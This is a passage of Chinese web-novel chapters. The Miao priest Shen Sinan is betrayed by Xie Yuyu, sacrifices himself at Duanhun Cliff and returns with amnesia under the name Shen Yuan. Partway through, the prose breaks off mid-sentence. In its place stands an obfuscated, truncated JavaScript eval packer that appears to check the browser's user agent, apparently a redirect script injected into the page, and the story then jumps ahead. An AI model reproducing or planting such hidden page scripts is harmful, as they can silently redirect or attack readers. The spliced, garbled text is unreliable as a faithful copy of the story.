沈司南站在崖顶，望着下方渐渐陷入混乱的战场，手中的银针再次蓄势待发。 谢禹玉的加入，是计划之外的变数，却也是意料之外的助力。 但无论如何，救出绫司司的目标，绝不会改变。 竹哨的清越声响还在断魂崖的山谷间回荡，崖底的混乱已如泼翻的墨汁般迅速蔓延。上官渡的苗刀与舒楠楠的匕首碰撞出刺眼的火花，许祭的短刀在黑衣人的包围圈里撕开一道又一道口子，而崖顶的沈司南，正紧盯着下方东侧山洞的方向，等待谢禹玉带着绫司司突围的身影。 晨光终于刺破晨雾，洒在崖顶的红泥上，也照亮了沈司南那张棱角初显、却骤然紧缩瞳孔的脸。 二十岁的沈司南，已是苗寨百年难遇的天才大祭祀。他承袭了祖辈的秘术与罗盘，身形挺拔劲瘦，既有青年的锐气，又有着远超同龄人的沉稳与狠绝。可此刻，那份刻在骨子里的冷静，正被崖腰那道逆转的身影击得粉碎。 本该直扑东侧山洞的谢禹玉，竟在滑到崖腰的瞬间，猛地调转了方向。他背上的弓箭没有对准山洞外的守卫，反而张弓搭箭，箭尖直指的，是崖底正与舒楠楠缠斗的上官渡！ “咻——” 羽箭破空的锐响，盖过了兵刃交击的铿锵。上官渡正全神贯注地格挡舒楠楠的致命一击，根本没料到身后会有暗箭袭来。千钧一发之际，许祭眼疾手快，猛地扑过去将她推开，羽箭擦着上官渡的肩头飞过，深深钉进旁边的树干里，箭尾的红缨还在剧烈颤动。 “谢禹玉！你疯了？！”许祭的怒吼声，在混乱的崖底炸开。 崖顶的沈司南浑身一震，指尖的淬毒银针险些脱手。他不敢置信地望向崖腰的身影，那个方才还信誓旦旦说“定将司司平安带出来”的苗寨猎户，此刻脸上哪里还有半分急切与担忧？只剩下一片冰冷的漠然，甚至还带着一丝不易察觉的得意。 “沈大祭，别来无恙啊。”谢禹玉的声音，透过山谷的风，清晰地传到崖顶。他缓缓收起弓箭，从怀中掏出一枚绣着兰草纹的令牌——那是兰榙阵营的信物，“忘了告诉你，我早就是兰榙大人的人了。接近绫司司，不过是为了找机会，彻底扳倒你和上官渡这两个寨里的‘眼中钉’。” 沈司南的脸色瞬间铁青。青年祭祀的眉眼间，褪去了往日的沉稳，只剩下纯粹的震怒与寒意。原来从始至终，都是一场骗局。谢禹玉对绫司司的爱慕是假，对寨里的忠诚是假，他潜伏在绫司司身边，不过是为了等待一个最合适的时机，给他们最致命的一击。 “你以为，凭你一人，就能逆转战局？”沈司南的声音带着青年特有的清亮劲，却冷得像崖顶的寒冰，手中的银针已经蓄势待发。他的秘术与银针，从无虚发，这一次，他要让谢禹玉为自己的背叛付出代价。 谢禹玉低低地笑了起来，笑声里满是嘲讽：“沈大祭，你年纪轻轻便身居高位，真以为凭着那点祖辈传下来的把戏，就能掌控一切？” 话音刚落，崖底西侧的密林里，突然冲出数十个黑衣大汉，个个手持利刃，目标明确地朝着许祭和上官渡包抄过去。而东侧山洞的门口，原本守着的几个舒楠楠的手下，竟齐齐朝着谢禹玉躬身行礼。 “谢哥！” 舒楠楠也趁机跳出了战圈，她擦了擦嘴角的血迹，看向谢禹玉的目光里满是赞许：“干得漂亮。兰榙大人果然没看错你。” 上官渡扶着许祭的手臂，缓缓站起身，肩头的擦伤火辣辣地疼，却远不及心口的寒意。她看着崖腰上的谢禹玉，声音里带着难以置信的痛楚：“谢禹玉，你也是苗寨人！兰榙和舒楠楠一心想毁了我们的寨子，你怎么能助纣为虐？！” “苗寨？”谢禹玉嗤笑一声，眼神里满是不屑，“这个穷乡僻壤，能给我什么？兰榙大人答应我，只要事成，就能让我离开这里，去城里过锦衣玉食的日子。至于绫司司……” 他顿了顿，目光扫过东侧山洞的方向，语气里带着一丝虚伪的惋惜：“她不过是我计划里的一颗棋子罢了。如今棋子的用处已经用完，是死是活，与我何干？” 崖顶的沈司南心沉到了谷底。谢禹玉的叛变，不仅打乱了他们的全部计划，还带来了额外的伏兵。原本的三面夹击，瞬间变成了他们三人被团团包围的绝境。 更让他心焦的是，东侧山洞里的绫司司，此刻恐怕已经落入了舒楠楠的掌控之中。 青年祭祀的大脑在飞速运转，他的目光快速扫过四周的地形，最终锁定在崖顶一处松动的岩石上——那是后山猎人们都讳莫如深的“天崩石”，只要用秘术引动山风，再辅以银针的巧劲，足以将崖腰的谢禹玉和下方的一部分伏兵掩埋。 只是那样一来，他自己也会被滚落的碎石波及。 但他没有别的选择。 “上官渡，许祭！”沈司南的声音，透过风声，清晰地传到崖底。青年的声音里，没有丝毫的惧意，只有破釜沉舟的决绝，“我会引动天崩石，牵制谢禹玉和伏兵！你们趁机冲去东侧山洞，救出绫司司！记住，无论发生什么，都不要回头！” 话音未落，沈司南已经快速结印，指尖的银针精准地刺入岩石的缝隙，同时口中念起了苗寨的秘术咒语。崖顶的风，突然变得狂躁起来，吹得青年的衣袂猎猎作响。 崖腰的谢禹玉脸色骤变，他终于意识到沈司南要做什么，厉声嘶吼道：“疯子！你这个疯子！” 而崖底的上官渡和许祭，看着崖顶那道挺拔劲瘦、却毅然决然的青年身影，眼眶瞬间泛红。 “沈大祭！” “司南！” 天崩石的轰鸣，即将响彻断魂崖。 而这场营救之战，也迎来了最惨烈的转折。 天崩石的轰鸣，即将响彻断魂崖。 而这场营救之战，也迎来了最惨烈的转折。 沈司南的咒语越念越急，指尖的银针在岩石缝隙里微微震颤，崖顶的风卷着他的衣摆，猎猎作响如战旗。他抬眼望向崖底，目光与上官渡焦灼的视线撞个正着，青年祭祀的声音里带着不容置疑的坚定：“这是苗寨的土地，容不得外人撒野，更容不得叛徒作祟！今日就算粉身碎骨，我也要护你们闯出一条生路！” 许祭红着眼睛，挥刀逼退身前两个黑衣人，嘶吼着回应：“沈司南！你要是敢出事，我这辈子都不会原谅你！司司也不会！” 上官渡的肩头还在渗血，苗刀的刀刃上沾着敌人的血，也映着她眼底的决绝。她朝着崖顶的方向用力点头，声音穿透混乱的厮杀声：“我们一定会救出司司！你一定要活着！苗寨不能没有你！” 崖腰的谢禹玉已经被狂躁的山风逼得连连后退，他看着那处摇摇欲坠的天崩石，脸上终于露出了恐惧的神色。他一边狼狈地抓着藤蔓稳住身形，一边厉声咒骂：“沈司南！你这个疯子！你以为这样就能赢吗？兰榙大人的势力遍布四方，就算你今天能拖住我，明天也会有更多人来毁了苗寨！” 舒楠楠也察觉到了崖顶的异动，她看着那片不断掉落碎石的崖壁，脸色骤变。她一把推开身前的上官渡，朝着谢禹玉大喊：“谢禹玉！快下来！天崩石要塌了！” 可一切都已经晚了。 沈司南猛地抽出最后一根银针，用尽全身力气刺进岩石的核心处。他最后看了一眼崖底的方向，嘴角勾起一抹决绝的笑。 “苗寨，永在！” 沈司南猛地抽出刺入岩石核心的银针，石缝的棱角划开一道深可见骨的口子，鲜血瞬间涌出来，滴落在崖顶赤红的泥土上。崖顶的天崩石发出一声震耳欲聋的轰鸣，松动的巨石裹挟着碎石与尘土，如咆哮的巨兽般朝着崖腰砸落，气流掀起的劲风，将沈司南额前的碎发吹得凌乱翻飞。 谢禹玉的惊声尖叫被山风撕得粉碎，他甚至来不及抓住身旁粗壮的藤蔓，就被一块磨盘大的巨石狠狠撞中后背，身体如断线的风筝般坠向深渊，连带着手中那枚兰草纹令牌，也在狂风中不知去向。 狂风卷着碎石打在沈司南身上，粗砺的石粒划破他靛蓝色的祭祀长袍，在颈侧、手臂、腰腹处划出一道道深浅不一的血痕，伤口与风里的尘土混合在一起，带来钻心的疼。他脚下的崖顶边缘已经开始塌陷，裂缝如蛛网般迅速蔓延，每一次震动都让脚下的岩石发出不堪重负的咯吱声。 青年祭祀的身形晃了晃，手中的罗盘早已在混乱中摔落在地，指针疯狂旋转着，最终定格在深渊的方向。他却没有丝毫退缩，死死盯着崖底东侧的山洞，目光里还燃着未灭的执念——他要为上官渡和许祭争取最后一点时间，一点能救出绫司司的时间。 “走！” 沈司南的声音透过轰鸣的山崩，清晰地传到崖底。那声音带着青年特有的清亮，却又被极致的决绝浸得冰冷，仿佛不是从喉咙里发出，而是从灵魂深处震出来的。 上官渡和许祭的眼眶早已被泪水浸透，视线模糊得几乎看不清崖顶的身影。他们看着那道摇摇欲坠的挺拔轮廓，心脏像是被一只无形的手紧紧攥住，连呼吸都带着撕裂般的疼。 “司南！” “司南！” 塌陷的速度越来越快，沈司南脚下的一块岩石突然轰然坠落，露出深不见底的虚空。他的身体失去了平衡，整个人朝着崖边倒去。千钧一发之际，他没有去抓身旁近在咫尺的藤蔓，反而猛地朝着崖底的方向纵身一跃！ 不是失控的坠落，是带着精准计算与决绝意志的纵身一跃！ 他的衣袂在狂风中猎猎作响，如一只折翼的雄鹰，靛蓝色的布料上，血迹与尘土交织成触目惊心的图案。下坠的瞬间，沈司南的指尖还在快速结印，哪怕身体因失重而剧烈晃动，哪怕鲜血顺着指尖滴落在空中，他的动作依旧稳如磐石。 最后三枚淬毒银针从袖中脱鞘而出，银芒在晨光中一闪而逝，精准地射向崖底正欲追击上官渡的三个黑衣人。银针不偏不倚地没入三人脖颈的大穴，他们甚至来不及发出一声闷哼，就直挺挺地倒在地上，身体很快被滚落的碎石掩埋。 这是沈司南用生命为代价，为上官渡和许祭扫清的最后一道障碍。 “带着绫司司……走！” 沈司南的声音被风撕扯得支离破碎，却带着不容置疑的命令。他的目光扫过崖底，最后定格在上官渡紧握苗刀的手上，那只手的指节因用力而泛白，刀刃上的血迹还在往下滴落。青年祭祀的嘴角，竟勾起了一抹释然的笑，仿佛看到了绫司司被成功救出的画面，看到了苗寨未来的安宁。 舒楠楠看着坠向深渊的沈司南，又看了一眼朝着东侧山洞冲去的上官渡和许祭，气得睚眦欲裂，额角的青筋突突直跳。她想追，却被滚落的碎石逼得连连后退，只能眼睁睁看着两人的身影消失在山洞门口。 “沈司南！我要你碎尸万段！” 舒楠楠的怒吼声在山谷间回荡，却只换来山风的呼啸，以及巨石坠入深渊的沉闷声响。 崖底的上官渡和许祭已经冲到了山洞门口，许祭一脚踹开洞门，木质的门板撞在石壁上，发出一声巨响。他正欲呼喊绫司司的名字，却猛地回头望向崖顶的方向。 沈司南的身影，已经消失在断魂崖的万丈深渊里，只有那片被鲜血染红的赤红泥土，还在无声地诉说着青年祭祀最后的决绝。 “司南……”上官渡的声音哽咽，泪水终于决堤，顺着脸颊滑落，滴落在肩头的伤口上，带来一阵尖锐的疼。 “司南……”许祭的声音同样沙哑，拳头死死攥紧，指节泛白，眼底是压抑不住的悲恸与愤怒。 上官渡的肩头还在渗血，却死死咬着牙，转身冲进了山洞，声音里带着哭腔，却又透着不容动摇的坚定。 “司司！我们来救你了！” 断魂崖的轰鸣还在继续，巨石不断坠入深渊，扬起漫天的尘土，将整个山谷都笼罩在一片灰蒙之中。而那道纵身一跃的青年身影，早已与这苍茫的山谷融为一体，只留下一句未散的誓言，在风里久久回荡—— “苗寨，永在。” 断魂崖的轰鸣渐渐平息，漫天尘土缓缓沉降，将山谷笼罩在一片死寂的灰蒙之中。深渊底部，常年弥漫着浓得化不开的瘴气，藤蔓交错如网，腐叶堆积成厚厚的软垫，隔绝了崖顶的一切声响。 沈司南的身体重重砸在腐叶堆上，巨大的冲击力让他瞬间失去了意识，靛蓝色的祭祀长袍被划得破烂不堪，身上的伤口还在汩汩渗血，与腐叶间的泥泞混在一起，触目惊心。他袖中仅剩的几枚银针散落在身侧，罗盘的碎片嵌在不远处的泥土里，指针早已失去了转动的力气。 不知过了多久，一阵清越的铜铃响，穿透了瘴气的阻隔，缓缓靠近。 一个佝偻着脊背的老婆婆，拄着一根刻满苗家纹路的竹杖，一步步拨开挡路的藤蔓。她头上裹着灰布帕子，身上穿着洗得发白的粗布衣裙，腰间挂着一串铜铃，走一步，响一声，声音里带着一种奇异的安抚力。老婆婆的脸上布满了皱纹，眼神却清亮得很，仿佛能看透这深渊里的每一寸黑暗。 她在沈司南的身边停下脚步，竹杖轻轻点了点地面，浑浊的目光落在青年满身的伤痕上，又扫过他颈侧隐约露出的祭祀印记——那是苗寨大祭祀独有的标记，用秘术纹在皮肤深处，寻常人根本看不见。 老婆婆的眉头轻轻蹙了一下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接下来的日子里，老婆婆每天都会用崖底独有的草药，为沈司南清洗伤口，更换药膏。她还会用秘术引动瘴气中的灵气，一点点修复他受损的内脏和筋脉。沈司南依旧昏迷不醒，却偶尔会在梦中呓语，反复念着两个名字——上官渡，绫司司，还有一句带着决绝的誓言：“苗寨，永在。” 每当这时，老婆婆都会坐在床边，静静听着，眼底的光芒越来越亮。 “傻孩子，”她轻轻叹息，“你的使命还没完成，你的朋友还在等你，这深渊，困不住你。” 半个月后，沈司南的手指终于微微动了一下。 火塘里的火苗跳跃着，铜铃在风里轻轻作响。断魂崖底的隐秘山洞中，被认为早已葬身深渊的青年祭祀，正缓缓睁开眼睛，而他的身边，正坐着一位能改变他命运的神秘老婆婆。。。 山洞外的晨光刚漫过洞口的藤蔓，上官渡便靠着石壁坐了下来，将受伤的左肩微微抬起。她咬着牙，用没受伤的右手解开缠在肩头的布条——那布条是她匆忙间从衣襟上撕下的，此刻早已被血浸透，黏在伤口上，每动一下都牵扯着皮肉，疼得她额角渗出细密的冷汗。 许祭刚安抚好情绪崩溃的绫司司，一转头就看到她这副模样，立刻快步走了过来，手里还攥着从舒楠楠手下那里缴获的伤药：“阿渡，你别动，我来帮你。” 上官渡轻轻摇了摇头，声音带着一丝刚经历过厮杀的沙哑，却依旧透着苗寨儿女的坚韧：“不用，我自己来就好，司司那边更需要人看着。” 话虽如此，可当她伸手去扯那黏在伤口上的布条时，还是忍不住倒吸了一口凉气。箭伤的边缘已经有些红肿，血痂与布条缠在一起，稍一用力，就有新的血珠渗出来。许祭实在看不下去，不由分说地将伤药塞到她手里，又从行囊里翻出干净的麻布和半壶清水：“我帮你按住伤口周围，你慢点儿撕，别再扯破了皮肉。” 上官渡没有再拒绝。许祭的手指刚碰到她肩头的皮肤，她就忍不住绷紧了身体——那处的皮肉被箭羽擦过，翻起了一道长长的血口子，深可见骨，此刻一碰，钻心的疼瞬间蔓延开来。她死死咬着嘴唇，不让自己发出一点声音，目光却下意识地飘向洞外，望向断魂崖的方向，眼底的悲恸被硬生生压在深处。 许祭小心翼翼地帮她撕开布条，动作轻得像怕碰碎了什么。布条剥落的瞬间，伤口彻底暴露在晨光里——那道伤口斜斜地划过左肩，边缘的皮肉因为摩擦和感染，已经有些发黑，血还在断断续续地渗着，顺着手臂滴落在地上，晕开一小片暗红。 “忍着点。”许祭的声音有些沉，他将清水倒在麻布上，轻轻擦拭着伤口周围的血污。清水触碰到伤口的瞬间，上官渡的身体猛地一颤，指节因为用力抓着地面的碎石，而泛出青白的颜色。她没有喊疼，只是额角的冷汗越积越多，顺着脸颊滑落，滴在衣襟上，晕开一小片深色的水渍。 等伤口周围的血污被擦干净，许祭才拧开伤药的瓶盖。那是苗寨特有的金疮药，呈深褐色，散发出一股清苦的草药香。他用手指蘸了一点药粉，小心翼翼地撒在伤口上。药粉触碰到伤口的瞬间，上官渡的肩膀剧烈地抽搐了一下，喉咙里溢出一声压抑的闷哼。 “快好了，再忍忍。”许祭的动作更快了些，将药粉均匀地撒满整个伤口，又撕下一块干净的麻布，撕成宽窄合适的布条。他帮着上官渡将手臂抬起，小心翼翼地用布条将伤口层层缠住，力道适中，既保证了能止血，又不会因为勒得太紧而影响血液流通。 缠到最后一圈时，上官渡突然抬手按住了他的手，声音沙哑却坚定：“再缠紧一点，等下还要赶路，不能让伤口再裂开。” 许祭看着她眼底的决绝，又看了看她肩头那道触目惊心的伤口，最终还是依言将布条缠得更紧了些。上官渡疼得倒吸一口凉气，却终于松了口气，缓缓放下手臂。 她低头看了看被缠得严严实实的左肩，又抬头望向洞内角缩着的绫司司，眼底的疲惫一闪而过。她撑着石壁，缓缓站起身，每动一下，左肩都传来一阵钝痛，却丝毫没有影响她的脚步。 走到绫司司身边，她轻轻蹲下身，声音比刚才柔和了许多，仿佛刚才那个忍着剧痛处理伤口的人不是她：“司司，再歇一会儿，等太阳升得高些，瘴气散了，我们就带着你离开这里。” 而她自己的左肩，那道被箭羽擦过的伤口，还在布条下隐隐作痛。可她没有时间去顾及，她是苗寨的女儿，是此刻唯一能护住绫司司和许祭的人。 沈司南用生命为他们争取了生机，她就必须带着这份生机，带着绫司司平安离开。 日头爬到苗寨吊脚楼的檐角时，瘴气终于散得干净。上官渡将缠好的左肩微微绷紧，抬手抹去嘴角的血渍，目光望向断魂崖的方向，眼底是不容动摇的坚定。 “我们不能就这么走。”她的声音还带着沙哑，却字字清晰，“司南为了救我们跳了崖，就算是掘地三尺，我们也要找到他的踪迹。” 许祭早已将短刀重新别回腰间，闻言立刻点头。他走到缩在角落的绫司司身边，轻轻拍了拍她的肩膀，声音里带着难得的温和，却也藏着决绝：“司司，我们一起去。沈司南是为了你，也是为了我们，我们不能让他的尸骨埋在深渊里。” 绫司司缓缓抬起头，红肿的眼睛里还蓄着泪水，却不再是之前的绝望与崩溃。她用力点了点头，撑着石壁缓缓站起身，手腕上的红痕还清晰可见，却硬生生站稳了脚步。她伸手抹去脸上的泪水，声音带着哭腔，却透着一股执拗的坚定：“对，我们去找他。活要见人，死要见尸。” 三人简单收拾了一下行装——上官渡带上了她的苗刀和寨里的驱瘴药粉，许祭揣着短刀和从舒楠楠手下那里缴获的干粮，绫司司则紧紧攥着那枚她和沈司南一起刻的竹牌，那是青年祭祀留给她的唯一念想。 断魂崖的崖壁陡峭湿滑，藤蔓交错如网，稍不注意就会坠入深渊。上官渡作为土生土长的苗寨人，对后山的地形最为熟悉，她走在最前面，用苗刀砍断挡路的荆棘，时不时回头提醒身后两人：“小心脚下，这里的藤蔓有些已经枯了，撑不住力气。” 许祭走在中间，一手扶着绫司司，一手警惕地扫过四周。经历了谢禹玉的背叛，他的神经时刻都绷得紧紧的，生怕再出现什么意外。绫司司跟在最后，脚步有些踉跄，却始终没有落下。她的目光死死地盯着崖壁下方的深渊，心里不断默念着：司南，你一定要活着，一定要等着我们。 越往下走，空气越潮湿，腐叶的气息也越来越浓。三人的衣服都被崖壁上的露水打湿，上官渡的左肩因为用力，时不时传来一阵钝痛，却被她硬生生压了下去。许祭的裤脚被荆棘划破，渗出点点血迹，他却仿佛毫无察觉。绫司司的手上被藤蔓划开了好几道口子，鲜血滴落在腐叶上，她却只是攥紧了手中的竹牌，脚步越来越快。 不知走了多久，他们终于抵达了断魂崖的底部。这里常年不见天日，藤蔓遮天蔽日，腐叶堆积成厚厚的软垫，空气中弥漫着一股刺鼻的瘴气残留。上官渡从怀中掏出驱瘴药粉，撒在三人的周围，药粉散发出一股清苦的香气，瞬间驱散了那股刺鼻的气息。 “分开找吧。”上官渡的声音在空旷的深渊底部回荡，“我往东边，许祭你往西边，司司你就在这附近找找，注意安全，一旦发现线索，就吹响竹哨。” 她的话音刚落，三人便立刻行动起来。 上官渡握着苗刀，一步步拨开挡路的藤蔓，目光扫过每一处角落。她的脑海里不断闪过沈司南纵身跃下的身影，闪过他最后那句“苗寨，永在”，眼底的泪水在眼眶里打转，却始终没有落下。她告诉自己，不能哭，沈司南还在等着她，她必须找到他。 许祭的动作更快，他像一只猎豹，在藤蔓间穿梭。他的目光死死地盯着地面上的痕迹，生怕错过任何一点线索。他想起沈司南在崖顶时的决绝，想起他为他们扫清最后一道障碍的模样，心里的怒火与悲痛交织在一起。他暗暗发誓，若是能找到沈司南，就算他只剩一口气，自己也一定要把他救回去；若是他已经遭遇不测，自己也一定要为他报仇。 绫司司则蹲在地上，小心翼翼地拨开腐叶，目光扫过每一块碎石，每一根藤蔓。她的手指触碰到冰冷的泥土，心里却只有一个念头：找到沈司南。她想起沈司南耐心给她讲解苗寨风俗的模样，想起他在她迷路时用秘术引她回来的模样，想起他提醒她“人心难测”的模样，泪水终于忍不住再次滑落。她一边哭，一边找，嘴里不断念叨着：“司南，你在哪里？你快出来啊……” 时间一点点过去，日头渐渐西斜，崖底的光线越来越暗。三人的呼喊声在深渊底部回荡，却只换来山风的呼啸。 上官渡的左肩已经疼得麻木，许祭的手上也添了不少新的伤口，绫司司的眼睛已经哭肿，却依旧没有找到沈司南的任何踪迹。 “司南——！” “沈司南——！” “司南——！” 三人的呼喊声交织在一起，带着绝望与不甘，在空旷的深渊底部久久回荡。 绫司司突然腿一软，跌坐在腐叶堆上，手中的竹牌掉落在地。她看着眼前无边无际的藤蔓与腐叶，泪水汹涌而出：“找不到……我们找不到他了……” 许祭走到她身边，蹲下身子，捡起那枚竹牌，紧紧攥在手中。他的眼底也满是红血丝，却依旧咬牙道：“不，我们还没找完。崖底还有很多地方没找，司南一定还活着。” 上官渡也走了过来，她撑着苗刀，缓缓蹲下身，目光扫过三人身上的伤痕，又望向远方的黑暗。她的声音带着一丝疲惫，却依旧坚定：“我们今晚就在这里休整，明天一早，继续找。” “只要还有一丝希望，我们就绝不会放弃。” 夜色渐渐笼罩了断魂崖的底部，三人点燃了一堆篝火，火光在黑暗中跳跃，照亮了他们疲惫却依旧坚定的脸庞。 篝火旁，绫司司紧紧抱着膝盖，目光望着深渊的方向，嘴里不断默念着沈司南的名字。许祭靠在石壁上，一手握着短刀，一手攥着那枚竹牌，警惕地盯着四周。上官渡则坐在篝火边，轻轻擦拭着手中的苗刀，目光落在刀身上，仿佛看到了沈司南那道挺拔的身影。 山风掠过深渊，带来阵阵寒意。可三人的心里，却燃着一团不灭的火焰。 他们相信，沈司南一定还活着。 他们一定会找到他。 夜色渐浓，断魂崖底的篝火燃得正旺，跳跃的火光将三人的身影拉得颀长，投在斑驳的藤蔓石壁上。上官渡正用苗刀削着一根木棍，打算给绫司司做个拐杖，许祭靠在石壁上擦拭短刀，而绫司司则抱着膝盖，目光痴痴地望着深渊深处，嘴里反复呢喃着沈司南的名字。 山风突然变得凛冽，卷着腐叶的气息扑面而来，篝火的火苗猛地晃动了一下，险些熄灭。上官渡警觉地握紧苗刀，许祭也瞬间站起身，短刀横在胸前，两人的目光同时锁定在黑暗笼罩的深渊入口处。 一道红色的身影，正蹦蹦跳跳地从瘴气残留的黑暗中走出。 那不是苗寨常见的靛蓝或粗布色，而是一袭极为惹眼的红衣，衣料似是用崖底特有的兽皮混着丝线织成，在火光的映照下，泛着一层奇异的光泽。身影的主人身形挺拔，步伐却带着少年人特有的轻快，时不时还伸手拨开挡路的藤蔓，嘴里哼着不成调的小曲，与记忆中那个身着祭祀长袍、沉稳内敛的青年，气质竟判若两人。 “谁？”上官渡的声音紧绷，苗刀的刀尖直指那道身影，肩头的伤口因为用力，隐隐传来钝痛。 许祭也屏住了呼吸，短刀的寒光在火光下闪烁。可那道身影身上没有丝毫恶意，反而透着一股鲜活的、与这死寂崖底格格不入的朝气。 绫司司缓缓抬起头，红肿的眼睛在看到那袭红衣时，瞬间瞪得滚圆。她猛地站起身，踉跄着向前走了两步，声音里带着难以置信的颤抖：“司……司南？” 那道身影终于走到了篝火的光亮处，露出了一张熟悉的脸。 是沈司南。 二十岁的青年，眉眼依旧是记忆中的清隽，只是褪去了往日祭祀的沉稳肃穆，眼角眉梢都带着一股鲜活的笑意。他的头发长了些，随意地束在脑后，发梢还沾着崖底的露珠，额前的碎发被风吹得凌乱，却更添了几分少年气。身上的红衣猎猎作响，腰间系着一串铜铃，走一步便叮当作响，清脆的声响在崖底回荡。 他的目光扫过三人，脸上的笑意更浓了，却带着一丝全然的陌生与好奇，像个看到新鲜事物的孩子。 “哇！原来这里还有其他人啊！”沈司南的声音比之前清亮了许多，带着一股雀跃的调子，完全没有了往日的低沉与威严。他蹦蹦跳跳地走到篝火边，好奇地打量着上官渡手中的苗刀，又伸手戳了戳许祭的短刀，最后目光落在绫司司红肿的眼睛上，歪了歪头，一脸疑惑，“姐姐，你怎么哭了呀？是不是有人欺负你？” 上官渡手中的苗刀“哐当”一声掉在地上，她不敢置信地走上前，伸手想去触碰他的衣角，却又在半空中停住。她能清晰地看到，沈司南的身上没有一丝伤痕，就连之前被碎石划破的地方，也光滑如初，仿佛那场惊心动魄的跳崖，从未发生过。 可他看她的眼神，陌生得让人心碎。 “司南……你还活着……”上官渡的声音哽咽，泪水终于决堤，“你真的还活着！可是你……你不认识我们了吗？我是上官渡啊！” 许祭也收起了短刀，快步走到沈司南身边，一把抓住他的手臂，语气里带着难以掩饰的激动与急切：“沈司南！你看看我！我是许祭！我们一起约定好救绫司司的！你忘了吗？” 沈司南被许祭抓得一愣，下意识地挣了挣手臂，脸上的笑意淡了些，带着一丝困惑：“沈司南？这个名字好奇怪啊，我不叫这个名字哦。” 他说着，往后退了一小步，脸上重新漾起那股活泼开朗的笑意，双手背在身后，身子微微前倾，像个分享小秘密的孩子般脆声开口：“老婆婆叫我沈怨！怨恨的怨！她说这个名字好记，以后我就是沈怨啦！” “许祭？上官渡？”沈怨歪着头，一个个念着两人的名字，语气里满是新奇，“这两个名字倒是挺好听的，可是我真的不记得你们了呀。还有，绫司司是谁？是这位哭鼻子的姐姐吗？” 他转向绫司司，从怀里掏出一颗亮晶晶的石子，递到她面前，语气带着少年人的天真与讨好：“姐姐，你别难过啦！这个送给你，是我在崖底找到的，可好看了！崖底还有好多好玩的东西，我可以带你们去看会发光的蘑菇，还有会唱歌的小鸟呢！” 绫司司看着那颗亮晶晶的石子，又看着沈怨脸上全然陌生的笑意，腿一软，跌坐在地上，泪水汹涌而出：“司南……不，沈怨……你怎么了？你为什么穿成这样？你为什么……不认识我们了？你不是苗寨的大祭祀吗？你不是为了救我们，纵身跳下了断魂崖吗？” 沈怨听到“苗寨大祭祀”和“跳崖”时，眉头微微皱了起来，伸手揉了揉太阳穴，脸上露出一丝痛苦的神色，却很快又舒展开来。他摇了摇头，脸上依旧是那副活泼开朗的模样，只是多了一丝茫然：“苗寨？大祭祀？跳崖？我一点都不记得了……我只记得，我醒来的时候，就和老婆婆在一起了。她给我做了这身好看的红衣，教我认识崖底的花草鸟兽，还说我以后要每天都开开心心的。” 他开心地转了个圈，红衣在火光下划出一道漂亮的弧线，铜铃的声响清脆悦耳，与崖底的死寂格格不入。 “你们是谁呀？为什么会在这里找我？”沈怨好奇地打量着三人，眼睛里闪烁着兴奋的光芒，“难道你们是来和我一起在崖底玩的吗？” 山风卷着铜铃的清越声响，在崖底回荡。篝火的火苗跳跃着，照亮了沈怨身上的红衣，也照亮了三人脸上的震惊与悲痛。 那个身着靛蓝祭祀长袍，为了苗寨、为了他们，毅然纵身跃下断魂崖的沈司南，带着他的沉稳、他的决绝、他的“苗寨永在”，一起消失在了记忆里。 取而代之的，是这个身着红衣，眼神清澈，性格活泼开朗，名叫沈怨，却连他们是谁都不记得的少年。 12. 我想要他回来 沈怨挣开许祭的手，往后退了两步，脸上那股活泼的笑意还在，眼底却满是对陌生人的疏离。他抱着胳膊，歪着头看向上官渡和许祭，脆生生的声音里带着不容置疑的陌生：“我真的不认识你们呀。你们说的沈司南，还有什么苗寨大祭祀、跳崖救人，我一点印象都没有。” 许祭还想上前争辩，却被上官渡伸手拦住。她看着沈怨眼底那片干净的茫然，心里的钝痛一阵接一阵，却知道再逼下去也没用。 沈怨见两人不再追问，脸上的笑意又浓了些，他指了指深渊深处瘴气最浓的方向，语气里带着几分雀跃的邀功意味：“我是被婆婆捡回来的，她人可好了！给我做新衣服，教我认崖底的花花草草，还说我是她唯一的小徒弟。” 他说着，突然想起什么似的，拍了拍自己的脑袋，然后朝着三人挥了挥手，语气轻快地催促道：“既然你们是来找我的，那我带你们去见婆婆吧！她住在前面的山洞里，可厉害啦，什么伤都能治好！” 不等三人反应，沈怨已经蹦蹦跳跳地转身朝黑暗深处走去，红衣在火光的映照下划出一道鲜艳的弧线，腰间的铜铃叮当作响，清脆的声响在死寂的崖底格外突兀。 他走了几步，见三人还站在原地没动，又停下脚步，回头冲他们挥了挥手，脸上带着少年人特有的天真：“快跟上呀！婆婆要是见了你们，说不定还会给我们煮她秘制的草药粥呢，可香啦！” 上官渡看着那道红衣身影，眼泪无声地滑落，她咬了咬嘴唇，最终还是抬脚跟了上去。许祭扶着腿软的绫司司，眼神复杂地看了一眼沈怨的背影，也默默跟了上去。 绫司司被许祭扶着，一步一挪地跟在后面，手里紧紧攥着那颗沈怨送她的亮晶晶石子，泪水滴落在石子上，晕开一小片湿痕。她看着前面那个蹦蹦跳跳、全然陌生的身影，心里一遍遍默念着：司南，你真的变成沈怨了吗？那个婆婆，到底是谁？ 沈怨丝毫没有察觉到身后三人的沉重与悲伤，他一路走在前面，时不时伸手拨开挡路的藤蔓，嘴里还哼着不成调的小曲。走到一处被藤蔓和苔藓严严实实覆盖的洞口前，他停下脚步，抬手拍了拍洞口的石壁，脆声喊道：“婆婆！我回来啦！我还带了三个客人呢！” 洞口的藤蔓缓缓向两侧分开，一道佝偻的身影从里面走了出来，正是之前救走沈司南的老婆婆。她头上的灰布帕子依旧裹得严实，腰间的铜铃与沈怨的交相呼应，清亮的眼睛扫过身后的上官渡、许祭和绫司司，最终落在沈怨身上，语气里带着一丝不易察觉的温和：“阿怨，你回来了。” 洞口的藤蔓还在缓缓晃动，铜铃的清越声响在崖底的空气里慢慢消散。老婆婆拄着刻满苗纹的竹杖，一步步走到沈怨身边，枯瘦的手轻轻拍了拍他的肩膀，眼底的温和几乎要溢出来。 沈怨立刻亲昵地靠在老婆婆身边，仰头冲她笑，红衣的衣角扫过地面的腐叶：“婆婆，这三位是来找我的，他们说认识一个叫沈司南的人，可我根本不认识呀。” 